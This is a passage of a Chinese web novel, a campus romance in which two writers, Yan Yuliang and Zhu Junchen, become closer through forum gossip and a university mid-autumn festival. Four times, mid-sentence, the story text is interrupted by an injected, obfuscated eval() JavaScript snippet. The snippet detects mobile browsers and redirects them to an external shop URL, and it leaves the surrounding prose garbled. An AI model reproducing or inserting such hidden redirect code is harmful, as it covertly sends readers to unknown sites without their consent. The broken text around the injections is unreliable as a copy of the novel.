有个同学很新奇地说:“我记得颜语凉有个很好的朋友在信息学院，同校区的，他俩都没互相陪着上过课吧。” 有人发现了华点，回答他：“别听不听课了，楼主发出来的图片是他俩上周一块吃早餐，不知道还有没有人记得那个谁给咱颜语凉送了一个月早饭，他一口未动的事。” [331L 长江以南]：西校区的误入，我们校区上周三有个练习赛，你们颜语凉还来看咱祝队打篮球了，指路西校区论坛搜“祝君忱练习赛中途对话小帅哥”就能搜到。 [332L 擒一枝玫瑰]：不用去搜了，我在场，还拍照了。[图片][图片][图片] [334L 忘不掉的歌]：两个人站一块还挺养眼。 [335L 天黑请闭眼]：颜语凉烫了个小卷毛好萌，求理发店名字 [333L 再学一秒就要爆炸]：666颜这个双标哈，我只能说东校区的篮球场从来没有刷新过颜语凉。 他们又就着颜语凉双标的事讨论了几十楼，最后不知道谁说了一句：“讲真，祝君忱是颜语凉喜欢的类型吧。” 这句话跟着下面刷了足足有百来楼，直接把这个帖子顶火了。 颜语凉看帖子看得脸有点热，心说这届网友怎么这么爱猜别人的心思，他的手指很轻地蜷缩了一下，用余光去看祝君忱。 已经上课了，这人似乎听得很认真，不过好像没听懂的地方有点多，抬着手有些不知道从何处下笔。 颜语凉看了一眼黑板——“用《相思》的四句诗写一个小剧场，并描绘其中的艺术语言。” 他低声解释道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758104|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“这个题不算难，想拿分的话顺着题目的意思写就行了。根据诗句的意象捋下来，拆解、重组。” 祝君忱默了片刻，落笔三两下描绘了一场南国纷飞的大雪，和一个拎着碎红豆手串的女孩长久地站在雪地里的场景。 颜语凉一看便惊艳道：“不错啊，你写小说写景渲染能力肯定很强。” “然后就是其中的艺术语言，你这里的艺术语言就可以写视觉构图这个女孩出现在镜头里凸显了什么，还有原诗里写的春来发几枝是春天，而你写的是冬天，这样冷暖对比，云云，只要你写就都算对。” 祝君忱还在回味颜语凉夸他写景渲染能力强的那句话，突然勾起一个笑来。 在网络上可只能听到这人说：“又开始炫技给文章注水了。” [地球研究小组 （4）] 【桃女王】:[图片] 【桃女王】:毕业之后没怎么逛过论坛，现在下载回来了，太好玩了！ 【桃女王】:@我无言以对你中意哪个cp名？ 颜语凉才在课本上写了两行字就被消息拽去了视线。 廖寻桃发的是论坛某个新帖的截图。 【我正在为颜语凉祝君忱取cp名，大家进帖评一评！】 内容如题，展开讨论。 有人说叫凉祝，通梁祝，立马被踹开了，被骂“你怎么逆cp还搞个be”。 有人说朱颜，被说太普通，不够好听。 有人说凉忱美景奈何天，被喷太过古风小生。 还有各式各样的，别的奇葩cp名，越扯越远。 论坛上或认识他们或不认识他们的人都已经沉醉在自己的取名艺术中无法自拔了。 颜语凉退出微信，缓缓闭目，自我安慰道：“再邪门也没有好言难劝邪门。” * 陆择今天很开心。 他和自己的小侄子其实一直不是很亲，之前居然主动问他剧本比赛的事，今天更是来旁听他的课了，所以难得的，他今天讲得非常基础。 课后他不太熟练地点开微信去找祝君忱。 【陆择】：小忱，今天上我的课感觉怎么样？ 【忱.】：讲得很清晰。 【陆择】：我们学院有三个中秋话剧名额，你明天晚上之前要是能写一个小短剧场出来可以给你报一个，小颜报了一个 【忱.】：你们学院的名额不应该给艺院的学生吗？ 【陆择】：艺院全是懒蛋，掘地三尺也找不出三个，最后还得便宜那群声乐社团的。 【忱.】：有主题吗？ 【陆择】：主题最好可以沾点中秋，没有也行。 【忱.】：行。 祝君忱不愧是写了很多年小说的小说家，仅用一天就写了一个很好玩的小剧场，发给陆择。 陆择啧啧称赞着，展示他最近刚学会的发语音消息功能：“不错啊，昨天上了一次课都能比上小颜了。要不你也进军影视圈？” 【忱.】：舅舅说笑了，小颜还是比我厉害很多。 【忱.】：对了，可以标作者吗？ 陆择一喜，终于要知道自己侄子的笔名了吗？！ 【陆择】：当然可以。 他摩拳擦掌着等待着，很久没有这种紧张的感觉了。 直到消息弹出。 【忱.】：今辰好。 ……？ 他石化了。 陆择感觉自己是不是突发老花眼不认识字了。 29. 你耍赖 陆择反复点开祝君忱的微信聊天框，试图改变对方的回答，但是没有任何作用，他抱着最后一丝希望问道。 【陆择】：是我知道的那个今辰好吗？ 会不会是重名了。 【忱.】：不出意外的话是的 那不出意外的话就要出意外了呀！ 世界上怎么会有这么巧的事！ 【忱.】：暂时别告诉颜语凉行吗？ 陆择感觉自己的手心手背在打架，无奈地反复叮嘱着。 【陆择】：你知道他是言不言？这次的青书大赛对他来说很重要，小忱，你别意气用事，不然我肯定得告诉小颜。 陆择有些内疚地拍拍脑袋，他只是想让优秀的人聚在一起碰撞出新的火花，但是居然疏忽了，把小颜的死对头推给了小颜！ 【忱.】：他告诉我的 【忱.】：放心，我不会 陆择还是不放心，头痛地在办公室里踱来踱去。 头痛一夜，第二天思来想去还是想给颜语凉发个消息慰问一下。 颜语凉这周五下午有一门课，祝君忱没课，便去东校区图书馆坐着看资料。 颜语凉下了课在图书馆门口等他一起回去的时候收到了陆择发来的消息。 【陆择】：小颜啊 【陆择】：比赛的事怎么样了？ 颜语凉透过玻璃往图书馆里边看了一眼，瞧见祝君忱从电梯里出来，朝他挥挥手，垂头给导师发消息。 【我无言以对】：一切顺利，前天就已经把大纲交上去了 【陆择】：小祝怎么样？有没有拖你后腿？ 【陆择】：要不要换一个搭档？ 陆择手很快地把换搭档的建议撤回，但是颜语凉还是看见了。 他有些莫名。 【我无言以对】：？祝君忱很好呀，给了我很多灵感，文笔也很好。 【我无言以对】：而且我们签了颜氏君子协议，不能反水的。 敲字间，祝君忱已经走到了他的身侧，看见他在聊天，想起来刚刚头脑一热跟陆择说的话，难得有些拿不准状况，状似随口问道：“你导师吗？” “猜这么准？”颜语凉嘟囔道，“陆老师奇奇怪怪的，是不是更年期了，尽担心些没有的事。” 他把手机揣进口袋，和祝君忱并肩走出去，前几天下了一场大雨，天气已经很清爽，他们一边走着一边闲聊起来。 “你今天怎么想起来来我们校区图书馆了？” “找一些写剧本的工具书，想到一个很好玩的故事，试着把它写成剧本版。”祝君忱回答道。 “写完了吗？”颜语凉偏头看他，很好奇祝君忱能写出什么样的故事，“能给我看看吗？” 祝君忱闷声笑道：“以后给你看。” “为什么？”聪明的颜语凉猜测，“是不是如果我看了你写的东西就能猜出你是谁？” 祝君忱脚步微顿，诚实道：“不清楚。” “你的笔名是我较为熟悉的人吗？” “不知道算不算熟悉。” “我们在网络上说过话吗？” “说过。” “我们有参加过同一个活动吗？” “有。” 颜语凉觉得这样海龟汤一样的一来一回很有意思，正欲再问，却被祝君忱打断了。 “别问了。” 再问就要猜到了。 “噢，”颜语凉却眨眨眼，继续争取道，“最后问一个呗。” 他们正在往校门口走，经过校园里枝叶最密的林荫大道，秋天的颜色已经渐渐挂上枝头，四周有刚下课往食堂走的学生，很是热闹。 祝君忱偏头看到颜语凉眼底水花花地含着请求意味，叹口气答应了：“问吧。” 颜语凉很轻地抬眼看着远处的天空，思考着如何才能一击制胜，想到了一个很关键的点，问道：“之前陆老师向我举荐你的时候说你有几部翻拍成剧的小说，你觉得我看过你的小说翻剧吗？” 他刚说完，感觉这个问题太过宽泛，毕竟祝君忱又不知道自己看过哪些剧或者电影。 祝君忱确实思考了很久，不过，意料之外的是，他的回答没有一点模棱两可，那几秒的停顿似乎只是在想要不要回答，他说：“看过。” 这下颜语凉奇怪了：“你怎么知道我看没看过？” “……”祝君忱默了一秒，沉声唤他，“言不言老师。” “诶！”颜语凉被他突然这么一叫吓了一跳。 “你耍赖。” “哦，不问了不问了。”颜语凉做了一个把自己嘴巴拉上的动作。 他们最近聊天的话题很多，但是颜语凉一段时间过后就记不得某一天聊了些啥了。 他想了一会没想明白，最后估计是某次对话间无意透露了自己看过什么剧吧，只不过他忘了。 亦或者是祝君忱的那部书翻剧火到几乎所有人都爱看，就像前阵子的《尘封水》一样。 * 中秋节放三天，说得漂亮，其实只放了一天，因为后面两天连着周末，笼统在一起就全叫中秋假了。 颜语凉觉得很亏，因为他周五本来就没什么课，一点中秋的仪式感都没有。 《小姐小姐》的剧本写作已经提上日程，这几天他常常把祝君忱请到家里来问问剧情发展如何，祝君忱泡了一两天的图书馆就把剧本的格式、节奏研究得差不多了，开始落笔写第二个存档的世界。 颜语凉在他刚开始写的时候看过一点，非常满意，也很放心，而且祝君忱总能想到一些他没有注意到的点。 三个臭皮匠顶个诸葛亮。 他们两个就行。 中秋节放的三天假期不够让家离的远的人回一趟家，所以颜语凉和朋友们每年都会在中秋节聚在一起，有一年是吃一顿饭，有一年是去看市区的花灯活动，有一年是去了庙会祈福。 今年正好是A大建校的一百周年，中秋活动办得很大，连很多原本准备回家的学生听到消息后都选择留下，他们便说好了一起逛逛学校的活动。 A大一共有三个校区，每个校区的活动都不一样，每个学院有一到两个由策划部想出来的活动。 活动宣传一出来，东校区的点赞量最高，很多别的校区的同学说要来凑热闹。 颜语凉也刷到了这个消息，当场就把那条微信公众号发给了祝君忱。 【我无言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758105|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以对】：我们校区中秋节活动还挺好玩的，到时候要不要来看看？ 【我无言以对】：晚上还有音乐会和话剧呢，话剧有一个是我写的，你猜猜是哪一个？ 【忱.】：《小号角》？ 【我无言以对】：我发现你很会猜东西，到时候我肯定带你去猜灯谜哈哈哈 颜语凉写的《小号角》也是一个偏童话的故事，讲的是一个小裁缝拿着小号角呼唤伙伴们一起聚会缝衣服，后来小号角不见了发生的一系列故事。 故事线非常简单、温馨，主要是因为这只是一个作业，当时写的时候根本不想多动脑子，想到啥就写啥。 陆择选了这篇，让颜语凉把它改成以中秋夜为背景，然后便交给了话剧社。 中秋当天，颜语凉约了朋友们一起在东校区见，他本来只是简单打理了一下头发，想起来晚上还约了祝君忱，便认真地打扮了很久，最后穿了一件前面有小猫印花的长袖T恤。 颜语凉看着胸口的黑线描边小白猫印花，把想想抱在怀里，和这只小白猫对了一下，如出一辙。 去年就是因为上边图案和想想长得一模一样才买的这件衣服。颜语凉抱着小猫，感觉它又重了，给它穿上一件蓝色的衣服，系上背带绳，打算带它一起去。学校宿舍不允许养猫，但是允许带小宠物进校，颜语凉之前也带过两次，每一次都会被爱猫人士拍到传上论坛。 颜语凉本来想着带祝君忱一起去，反正顺路，但是对方说他在帮导师做事，得过一会再来，颜语凉就一个人去学校了。 “想想也来啦！”颜语凉到的时候廖寻桃和邹煜安已经在门口等了好一会儿，廖寻桃很喜欢猫，一看见颜语凉怀里抱着想想，便凑上来摸摸。 想想虽然是女孩子，但是意外地特别喜欢美女，之前带它来学校的时候也是，美女小姐姐一来摸它就舒服地眯起眼，但是男生来摸，它便露出不耐烦的表情往颜语凉怀里缩。 邹煜安笑说真是随了颜语凉是个颜控。 他们又在学校大门口等了一会等来了程和欢，寒暄一阵，正要进学校闸机，颜语凉却看着手机住了脚步。 几人回头看他，邹煜安奇怪道：“怎么了？” 颜语凉朝他们露出一个灿烂的笑：“再等个人。” “小艳吧，小颜。”廖寻桃幽幽地说，她是颜语凉的忠实书粉，在现实生活中一般也随网络上颜语凉的粉丝一样叫他言爷，这会儿是第一次线下叫他小颜。 颜语凉眨了下眼，张口欲言，身后便稳稳停了一辆车，车窗被摇下，露出一张帅气精致的脸。 颜语凉回头看见了祝君忱，祝君忱冲他们几个挥了下手，打招呼道：“Hello。” 颜语凉心情都飘起来，跟朋友们说了声：“我带他去停车的地方，你们先去，我们马上来。” 从车头绕过去非常熟练地拉开了副驾驶的门。 邹煜安看着颜语凉坐着上祝君忱的车往道路西边驶去，一语道破：“据我所知，小艳不止来过东校区一次了，不可能不知道停车位在哪。” 廖寻桃摇摇头表示她也没办法，往程和欢那边靠，轻撞了一下对方，说：“看到了吧，小颜就是这样被小艳拐走的。” 30. 猫玩偶 九月下旬，秋味渐浓，尤其是晴天的秋，凉风习习。 校园里种了许多桂花树，桂花躲在枝叶间竞相开放，散发出沁人的馨香。 “高中的时候，教学楼楼底下种了一排桂花，每到这个季节整个教室都是桂花香，”两人一猫并肩走进校园，路过一边的绿化带，颜语凉指着某一棵缀着小金点子的树说，“我最喜欢桂花。” 祝君忱偏头去看他指着的方向，顺口问道：“那你是不是最喜欢秋天。” “对，”颜语凉单手抱着想想，另一只手微微张开，凉风见势钻进他有些宽松的袖管，秋天的味道便一直灌到胸膛，“秋天的风和阳光总是恰到好处。” 颜语凉左臂有些累换了一只手抱着猫，想想有些不适地换个姿势，他撇撇嘴对祝君忱吐槽道：“想想又重了。” 小猫已经快三岁了，体型不算小，被颜语凉抱在怀里耳朵就正好抵到他的下巴。 “抱猫有什么讲究吗？”祝君忱转头看他，停下来伸手道，“我抱抱？” 祝君忱见过想想很多次，每次都不咸不淡的，颜语凉没想到他会主动想抱猫，眉眼一弯，一手托着想想的腋下，一手拖着它的屁股递给祝君忱说：“没那么多讲究，轻一点就行。” 祝君忱接过，学着颜语凉的样子抱着，小猫很乖，没有露出一点不舒服，把爪子搭在祝君忱的胳膊上，掐着嗓子“喵”了一声。 “它喜欢你抱，”颜语凉笑起来，眼底闪过光点，他往前大迈一步站到祝君忱对面，刮了一下想想的鼻子，说，“还真被邹煜安说中了。” “说中什么？”祝君忱的目光从小猫的毛茸茸的爪子上挪开，抬眸和颜语凉对视上，问道。 “是个颜控。” 还有一句，随我。 颜语凉这下两只手都空了出来，雀跃地给祝君忱展示自己的T恤，指着上边的印花：“你看，这只猫和它像不像？” 祝君忱的眸光闻言下坠，颔首道：“像。” “好看吗？” 颜语凉意在问他这件衣服品味如何，祝君忱的眸光却没忍住往上移。 颜语凉今天出门前特意把自己的头发卷得很标致，几缕鬈曲的头发柔和地扫过眉角，平添几分干净的俏皮。 搭配这一身T恤，更显得熠熠灵动。 祝君忱眼底波动起笑意，说：“好看。” 颜语凉很满意，拍拍想想的头，往前走的步子都轻快起来。 中秋活动的布置大部分都在大广场，有一部分在小花园，还有一个大舞台在操场。 他们往大广场走，去和邹煜安他们汇合，一路上有外向的同学凑上来想摸小猫，他们因此被耽误了很久。 祝君忱在外人面前脸上没有什么特别的表情，被一群人围着更是有些不自在，但是一有人过来想摸想想，颜语凉都会笑着说：“当然可以啦。” 他只能配合着抱着猫给别人拍照。 又一批围着的人拍完照片散开的时候，颜语凉看着祝君忱，对方表情有些木但又无比小心翼翼地抱着猫，这样的反差让他不自禁地笑出声。 祝君忱看他眼睛都笑得眯起来，无奈地牵起嘴角，问：“还要营业吗？” 颜语凉笑意不止，凑到想想面前问：“还营业吗，小明星？” 想想的瞳孔因天色变暗而放大，这会儿却明显低眉遮了些视线往祝君忱怀里侧了点脸，明显凶巴巴的。 颜语凉戳戳它的耳朵，说：“不想营业了呀。” 后面往大广场的路上倒是没多少人凑上来了，很快，他们便走到了异常热闹的大广场。 衬着渐浓的夜色，这里大大小小的帐篷和小摊已经准备齐全，俨然成了一个小夜市，却没有隔壁彩龙街那般喧嚣吵闹，而是那种带着书卷灵气的热闹。 颜语凉踮起脚尖，微微探身张望，试图在攒动的人头中找到自己的朋友们，可惜人实在太多，视线总是被遮挡。 “言爷！”好在廖寻桃先发现了他们的，她冲他们招手，颜语凉闻声走到她身侧，却发现她旁边只有程和欢一人，邹煜安不知所踪。 廖寻桃发现颜语凉本应该抱着猫的手空空的，转眼看到颜语凉身后替他抱着想想的祝君忱，竟然诡异地看出了“一家三口”的感觉。 “邹煜安呢？”颜语凉没注意到廖寻桃的表情，抬眼又往四周看，“你们走散了？” 程和欢摇摇头，廖寻桃往右边某个满是人的地方一指，说：“在那玩海底捞月呢！” 颜语凉遂着她指的方向望去，好不容易找到了一个“疑似”邹煜安的人，正在吃力地举着两根大约三米的金红配色的筷子夹起地上的月饼抱枕。 “海底捞月用筷子捞啊，好歹拿个网兜吧。”颜语凉吐槽道，又问，“有什么奖品吗？” “有啊，”廖寻桃让开一些，让他看帐篷旁边的宣传牌子，“有月饼、书籍、玩偶、鲜花。” “两分钟内用筷子把月饼夹到指定筐里，夹的个数决定奖品？”颜语凉琢磨着这个牌子上写的字，目光又落在挤眉弄眼的邹煜安身上，脑海里冒出自己参加这个活动的样子，心说怎么不找一个体面一点的游戏。 思绪流转间，他目光一抬，看见了那张摆满活动奖品的奖品台，在一堆玩偶中，他一眼就看到了那个毛茸茸的、和想想长得神似的坐姿玩偶小猫。 颜语凉余光瞟了一眼祝君忱怀里的想想，开口问廖寻桃：“夹多少个能拿玩偶？” “现在好像是四个。”廖寻桃来的时候正好听到一个同学在吆喝，解释道，“这个太难了，很多人连夹都夹不起来，更别说把不同颜色的月饼夹到对应的筐里了，我们刚来的时候是十个，现在越改越少。” 邹煜安费劲巴拉地只夹了两个，叼了支塑料花回来。 颜语凉看着他摆弄着这支卖相一般的花，又想起他大刀阔斧举着两根筷子的模样直接被劝退了。 邹煜安把塑料花摆在想想耳侧，喊颜语凉来拍照：“快让小爷我的战利品和想想拍张照！” 想想偏头闻闻这支花，有些嫌弃地眯眯眼。 廖寻桃建议去简单一点的游戏那试试。友人们便一个接着一个走出这个“海底捞月”的地盘，颜语凉正欲抬脚跟上，却被人拽住了衣角。 祝君忱的拽他的力道很轻，就像被小猫尾巴蹭过一样。 “怎么了？” 颜语凉回头，看到他作势要把想想递给自己，还以为是他抱累了，刚接过来准备走，祝君忱却反手指了下身后的活动帐篷说：“我想试试。” “啊，”颜语凉没想到祝君忱居然有挤着人群玩这个游戏的兴致，歪了点头说，“好啊，是有想要的奖品吗？” 祝君忱点了下头，越过他打算去排队参加活动。 颜语凉抬脚跟上，人有些多，对方步子迈得快，他跟在身后一只手还抱着猫，一边说着“借过”一边有些艰难地穿过人群。 祝君忱似乎发现身后的人步履 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758106|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 艰难，停步等他走近，抬手捻住了他的袖口，就那样拎着他的胳膊领着他向前走，这样一来就不会走散了。 颜语凉垂目看着他拉着自己，耳边尽是人群的吵闹，他却盯着对方的步子，听到了自己的心跳。 廖寻桃刚走出人群回头一看两人已经快走到人群最深处了，她眯起眼看了好一会，惊异地对邹煜安和程和欢道：“他们是不是牵手了？！” 邹煜安被她说得吓了一跳，踮起脚努力往人群间隙中看，唏嘘道：“没牵，拎的袖子。” 以为自己发现了天机的廖寻桃仔细一瞧似乎确实如邹煜安所说，犹如被当头泼了把冷水，她有些失望地努努嘴，转而却说：“其实和牵手也没区别了。” 而祝君忱和颜语凉两人已经走到了人群的最前面，其实很多人都觉得这个项目难，都是来看热闹的，虽然队伍排得长，但是有一部人排一半就放弃了。 所以很快就轮到了祝君忱。 他们来到“海底捞月”活动的最前面，所有人的目光都聚在他们身上。 两人本来身形就出挑，前阵子还在论坛上引发了一番讨论度，这会儿很多人都认出来这是颜语凉和祝君忱。 祝君忱拿起两根“筷子”的时候，颜语凉抬起小猫的爪子按在他的胳膊上，说：“加油。” 惹得人群一阵惊呼。 祝君忱垂眸，视线落在小猫身上，又抬眼和颜语凉对视上，露出一个柔和的笑。 这个“捞月饼”确实不算简单，长达三米的筷子太长了，需要很大的臂力才能把月饼枕头夹起。 颜语凉一开始觉得从今晚开始论坛上可能就要出现祝君忱“面目狰狞”的丑照了，但是没有，祝君忱脸上的表情依旧从容，他第一次夹起一个月饼的时候手微不可察地抖了一下，筷子上的月饼本来就不算稳，直接掉了下来。 众人一阵唏嘘，以为祝君忱也会像前几位挑战者一样翻不起什么水花。 但是祝君忱却偏头看向颜语凉，弯起眉眼说：“我找到诀窍了。” 没等颜语凉问是什么诀窍，祝君忱便转过头去，聚精会神地夹起了一个金色的月饼，这次稳稳当当地送进了金色筐筐里。 “喜欢什么颜色？” “还能选？”颜语凉乐了，随口挑道，“蓝色。” 祝君忱把最靠近筐筐的蓝色丢了进去。 “粉色。” 祝君忱夹起了粉色的丢过去。 “红色。” 那个红色的幸运地被选中了也被丢进对应的筐里。 “这么厉害？再来个蓝色！” 剩下一个蓝色比较远，不过祝君忱还是毫无难度地夹起来丢进了筐筐里。 四下里响起掌声和欢呼，要不是颜语凉怀里还抱着猫，他高低也给祝君忱鼓个掌。 两分钟过去，祝君忱一共夹了十几个。 活动负责人走过来，他也没想到祝君忱竟然这么厉害，让他奖品台上的小礼品随便挑。 祝君忱偏头看了一眼抱着想想的颜语凉，指着奖品台上那只枯坐着的白色猫咪玩偶对负责人道：“这个小猫行吗？” 负责人把小猫玩偶送过来，瞧见颜语凉怀里的猫，欣喜地把玩偶凑到小猫面前道：“它和你的小猫长得好像呀！” 颜语凉听到祝君忱选的礼物有些惊讶，偏头用询问的目光看向他。 祝君忱微微侧了下头，从负责人手上接过玩偶，送给他说：“不是想要这个吗？” 31. 小号角 “你怎么知道？”颜语凉微微瞪大双眼，惊喜地从他手里接过小猫玩偶，和想想靠在一起。 “写脸上了。”祝君忱解释道。 颜语凉想腾起一只手抹抹脸，但是两只手都是猫，他讪讪道：“这么明显吗？” 不明显吧。 廖寻桃和程和欢都没看出来。 祝君忱不置可否，带着颜语凉满载而归。 刚刚祝君忱在“捞月”的时候，邹煜安站在花坛上给廖寻桃和程和欢两人做前线解说。 两人走到他们跟前的时候，邹煜安还在花坛上干站着。 颜语凉看他一眼，开着玩笑吐槽道：“有没有素质？小邹同学。” 邹煜安从花坛上跳下来，哼哼道：“你都不知道刚刚有多少人站在上面看你们夹月饼。” “好厉害啊，言爷，请给我欣赏一下。”廖寻桃两眼冒红心，双手托起，接过那个赢下的奖品，夸赞道，“好精致的小猫，毛好软！比真小猫还好摸。” 不知道想想是不是听懂了，不乐意地叫唤了一声，廖寻桃连忙摸摸它的脑袋，哄道：“还是想想好摸。” 颜语凉抚着想想，偏头笑意不减，问祝君忱：“所以窍门是什么？” 祝君忱告诉他：“用‘筷子’的头部去夹，会夹得稳一点。” “噢。”颜语凉沉吟着回想他刚刚的动作，似乎确实是这样。 “这个小发卡是哪来的？”邹煜安正在研究想想，发现它的脖子上多了一个月亮形状的发卡。 “也是刚刚赢的，”颜语凉向他解释说，“那个负责人说难得和小猫这么有缘，再送个手工小发卡。” 廖寻桃凑近捏捏想想的腮帮子，月亮发卡在它的胸口反射着细碎的光亮。 “走吧，”廖寻桃欣赏够了小猫，扯了一下程和欢的袖子，偏头对他说，“你不是说最近运气很好吗？我们去玩那个戳戳乐！” 程和欢被她很大力地拽着往前，却没挣开，邹煜安看着他俩在身后很轻地啧啧两声，被颜语凉抬手用小猫玩偶推了一下：“愣啥呢？” 邹煜安摇头说：“你不懂。” “就你懂。”颜语凉随口怼道，“快走，看看那边戳戳乐能开出什么来。” 戳戳乐的帐篷刚搭起来，聚的人还不是很多，几人站着看负责人在墙上、桌上摆满小盒子，成了这个活动的第一批客人。 廖寻桃看着摆完后冲她笑的负责人问：“这怎么玩呀。” “随便挑一个盒子开就行，十块钱一个，每人限三个，”负责人解释说，“我们相当于义卖，收到的钱会往山区捐。” 颜语凉回头悄悄跟祝君忱说：“你前阵子不是说我最近运势好吗？你说我能不能开个大奖出来？” 祝君忱想起来那天让颜语凉抽扑克牌抽出“王炸”的事，莞尔一笑：“试试。” 颜语凉扫了支付二维码，直接买了三个盒子。 负责人请他们走进帐篷，抬手划出一个弧度，说：“墙上的，桌上的都能选。” 廖寻桃还在身后问能开出些什么，颜语凉就已经把想想塞给祝君忱开始上手拿小盒子了。 第一个盒子，开出来是空奖，颜语凉手上捻着那张白纸黑字写着“空”的纸条，狐疑地看向祝君忱：“祝大师，不是说我最近运势好吗？” 祝君忱没有说话，示意他继续开第二个。 颜语凉把开完奖的空盒子撇到一边，在剩下的两个盒子里纠结了两秒，被身侧的廖寻桃催了一下，挑了右手边那个。 [学校文创月饼一套] “你是说那个虚有其表，味道非常一般，但是价格又非常贵的那个文创月饼吗？”邹煜安“哇”了一声，给颜语凉竖起大拇指，“恭喜你，抽到美丽废物了。” 程和欢站在他们身后，闻言笑了一声，之前他有亲戚硬要尝尝这个月饼什么味，结果吃了两个就腻得闲置了，不如摆着好看。 负责人也是学生，认同地眨眨眼，从桌底下拿出了那盒文创月饼：“学校赞助的。” 颜语凉接过，唤了声谢谢。 礼盒装月饼很精致，拎起来却没什么分量。 一共有六七个，他打算到时候看晚会时分给好友们每人一个，这样就不会腻了。 他继续开最后一个盒子，开出了一张奶茶餐券。 “运气不算差，”颜语凉两根手指夹着那张券，说，“十块钱抽一杯二十块钱的奶茶。” 有了他在前面打头阵，邹煜安和廖寻桃也来了兴趣抽了两盒。 程和欢和祝君忱没有什么兴趣，和颜语凉站在棚子外边闲聊起来，颜语凉话比较多，毕竟程和欢与祝君忱是真正意义上的第一次见面，他是两边的桥梁。 邹煜安和廖寻桃抽了一圈，抽尽兴了，抽了四张奶茶卷回来，合上颜语凉那张正好是五张，承包了五个人晚上夜游的饮料。 他们还在大广场那边玩了些游戏，中途邹煜安和程和欢在比赛投壶的时候颜语凉拉着祝君忱离开了人群，本来是想拉着他找猜谜游戏去，结果转了好大一圈都没找到，眼看时间操场上晚会就要开始了，便和他一块去操场上。 晚会活动舞台前阵子就搭好了，宣传也早早地在论坛上挂着，吸引了很多人来到操场上，几乎人人手机上都开着活动节目单，讨论着最想看的节目。 颜语凉和祝君忱赶到的时候操场上的座位已经被提前来占座的人和来得早的人占满了。 有很多人站着，围着舞台，很是热闹。 他们也和其他人一样，挤在人群的外围，舞台的氛围被造得很足，顶部几盏聚光灯一会儿转一会摇地亮着。 “我的《小号角》在第七个节目。”颜语凉听着舞台上的同学开始高歌，一边点开节目单看了一眼。 祝君忱凑近一些目光也落在他的手机屏幕上，看到某个剧名，他眸光微动，问道：“这个剧演员都是话剧社的吗？他们的演技怎么样？” 颜语凉抬眸和他对视上，露出一副难以言喻的表情，斟酌了一下语言说：“演得很好笑，他们都当小品演。” 他垂头往下看，发现自己的作品下面隔着一个舞蹈表演的地方也是一个话剧叫《嫦娥与织女》。 颜语凉的手指划过这个节目，问祝君忱：“你觉得这个话剧讲的是什么？” 祝君忱没想到他一眼就看到了自己闷在图书馆写的练手之作，随口道：“不知道。” “这个好玩，”颜语凉眉眼弯起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758107|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，似乎觉得很有趣，“不会是讲的，嫦娥在月球上织出月饼来吧。” “脑洞挺大。”祝君忱眉头一挑，夸他。 颜语凉耸耸肩：“很多话剧脑洞都很大，这个剧本作者能把嫦娥和织女拼到一起脑洞本来就大。” 他突然想到一件事，愈发笑得明媚起来：“问你个问题。” “什么问题？” “我们认识多少天了？” 祝君忱从走进操场开始就帮他抱着猫，抱了这么久，这会儿动作已经明显熟练了很多，刚刚想想打了个哈欠动作有点大，他的目光从它身上移开，和颜语凉对视上，说：“38天。” “你是现算的吗？”颜语凉有些惊讶，“我以前对农历一直没有什么概念，后来不知道哪一天开窍想起来七夕节是七月初七，中秋节是八月十五，两者不就是相差38天嘛。” 祝君忱看着他掰了两根手指，说：“我也是前两天算的。”现在大家都有日历，掏出手机来看日子比什么都方便，没有必要算哪两个日子之前差多少天。 前面六个节目都是唱歌和跳舞，第一个话剧《小号角》一出来，有些看腻的众人都打起精神来。 大屏幕上 出现了一个动画，是微信群聊的聊天界面，一个头像是Q版小人的人说：“集合啦！” 群里其他人便一一响应，画面定格在这里，从舞台右边一个拿着大号角的演员灵活地跳上台，吹响了号子。 整个操场都被这个浑厚的声音震撼了，欢呼起来。 现场很闹，颜语凉往祝君忱那边靠了一点，说：“这个男主角是话剧团的新招的，性格很好，是个小帅哥，在短视频平台上粉丝还不少呢。” 